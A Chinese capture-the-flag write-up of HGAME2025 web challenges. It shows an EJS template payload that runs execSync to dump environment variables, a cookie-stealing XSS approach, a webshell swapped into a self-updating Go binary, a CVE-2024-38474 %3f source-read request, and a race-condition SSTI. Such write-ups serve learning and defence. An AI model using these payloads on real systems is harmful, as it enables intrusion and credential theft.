HGAME2025
WEB
Level 24 Pacman
拿到题目后发现是前端js小游戏;直接翻看源码:
很明显的base64;然后在套一层栅栏密码
Level 47 BandBomb
代码审计
1 | const express = require('express'); |
upload路由
此时发现文件上传处没有任何的限制;可以随便上传任何文件。
rename路由
存在更改文件名的操作,且可以实现覆盖
渲染路由
1 | app.set('view engine', 'ejs'); |
这里使用ejs来渲染模版,模版默认是保存在/app/views/
目录下的,这里使用的模版文件名是mortis.ejs
,我们能上传任意文件,那么就能上传一个恶意模版文件,然后覆盖mortis.ejs
,来rce。
payload.ejs
1 | <% global.process.mainModule.require('child_process').execSync('env > ./public/env.txt').toString() %> |
先上传
然后改名字
flag:
Level 69 MysteryMessageBoard
先试试密码爆破出密码为:888888
代码审计
1 | package main |
存在/flag和/admin路由
/flag路由
此时的flag路由需要admin身份才可以访问;又因为存在留言板;我们可以马上想到xss攻击获得admin的cookie进行身份的伪造。
/admin路由
经过测试存在xss
Xss
1 | <script>alert('XSS Demo: Security Test')</script> |
payload
1 | <script> |
发送payload后;访问/admin。
替换为admin的cookie
Level 25 双面人派对
逆向
下载得到一个main文件,查壳后发现存在UPX壳;进行脱壳操作
进行字符串查询后发现存在MinIO系统
1 | endpoint: "127.0.0.1:9000"',0Dh,0Ah |
配置后进入
代码审计
下载下来后做代码审计
1 | package main |
此时发现引用了overseer热加载;那么攻击思路就很清晰了
直接重写一份main.go;其中包含可以rce的代码即可获取权限。再次解释一下,此时的热加载就约等于自更新
webshell
1 | package main |
替换原来的main.go文件后进行编译
然后进行上传覆盖原来的update
一般在对于Minio的Rce攻击中的思路都要找一个自更新的点进行利用。
Level 38475 角落
先做信息收集
发现存在robots.txt:
1 | User-agent: * |
app.conf
1 | # Include by httpd.conf |
此时这一段的配置是Apache的配置文件
1. 目录访问权限配置
1 | <Directory "/usr/local/apache2/app"> |
<Directory "/usr/local/apache2/app">
: 定义了一个目录块,指定了/usr/local/apache2/app
目录的配置。Options Indexes
: 允许在目录中没有默认文件(如index.html
)时,显示目录列表。如果目录中没有默认文件,用户会看到该目录下的文件和子目录列表。AllowOverride None
: 禁止在该目录及其子目录中使用.htaccess
文件覆盖此处的配置。这意味着.htaccess
文件中的任何指令都不会生效。Require all granted
: 允许所有用户访问该目录。这是一个访问控制指令,表示所有请求都被允许。
2. 文件访问控制
1 | <Files "/usr/local/apache2/app/app.py"> |
<Files "/usr/local/apache2/app/app.py">
: 定义了一个文件块,指定了/usr/local/apache2/app/app.py
文件的配置。Order Allow,Deny
: 指定了访问控制的顺序。Apache 会先处理Allow
规则,然后处理Deny
规则。Deny from all
: 拒绝所有用户访问该文件。这意味着无论用户是谁,都无法访问app.py
文件。
3. URL 重写规则
1 | RewriteEngine On |
RewriteEngine On
: 启用 URL 重写引擎。这是使用RewriteRule
和RewriteCond
的前提条件。RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
: 定义了一个重写条件。只有当 HTTP 请求头中的User-Agent
字段以L1nk/
开头时,才会执行后续的RewriteRule
。RewriteRule "^/admin/(.\*)$" "/$1.html?secret=todo"
: 定义了一个重写规则。如果请求的 URL 路径以/admin/
开头,并且满足前面的RewriteCond
条件,那么 URL 会被重写。(.*)
捕获/admin/
后面的所有内容,并将其作为$1
变量。重写后的 URL 是/$1.html?secret=todo
,即将/admin/xxx
重写为/xxx.html?secret=todo
。
4. 反向代理配置
1 | ProxyPass "/app/" "http://127.0.0.1:5000/" |
ProxyPass "/app/" "http://127.0.0.1:5000/"
: 配置了一个反向代理规则。所有以/app/
开头的请求都会被转发到http://127.0.0.1:5000/
。这意味着 Apache 会将/app/
路径下的请求代理到本地的 5000 端口上的服务(通常是一个后端应用服务器,如 Flask 或 Django)。
rewrite截断漏洞:CVE-2024-38474
此时考到了一个Apache的CVE:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器,Apache HTTP Server 2.4.59 及之前版本中 mod_rewrite模块存在替换编码问题,由于针对%3f的URL编码处理不当,攻击者可配置无法通过URL或仅作为CGI执行的脚本访问的目录,从而导致代码执行或源代码泄露,修复版本中通过默认禁用不安全的重写规则,增加UnsafeAllow3F选项来修复该漏洞。
根据我们的robots.txt中的信息我们可以去读取/app下面的文件
payload
1 | GET /admin/usr/local/apache2/app/app.py%3f HTTP/1.1 |
代码审计
1 | from flask import Flask, request, render_template, render_template_string, redirect |
条件竞争
1 |
|
/read
路由:
- 调用
readmsg()
读取文件内容。 - 检查条件:如果内容不含
{
,则用show_msg
模板替换{{message}}
,并通过render_template_string
渲染。 - 关键问题:检查(
if "{" not in readmsg()
)和实际渲染(show_msg.replace()
)时两次读取文件,且两次读取之间文件可能被修改。
SSTI
发送两个并发请求:
- 请求A:通过
/send
写入合法消息(不含{
,如hello
)。 - 请求B:通过
/send
写入恶意模板(如{{7*7}}
)。
触发/read
路由:
- 第一次读取(检查阶段):文件内容为合法消息(
hello
),检查通过。 - 第二次读取(渲染阶段):在检查通过后,攻击者立即通过请求B覆盖文件内容为恶意模板,此时
readmsg()
返回{{7*7}}
。
结果:render_template_string
渲染恶意模板,执行7*7
并返回49
,触发SSTI。
所以此时我们只要发送一个含有{}
和一个普通的不含有{}
还有一个读取包即可构成条件竞争打ssti
flag: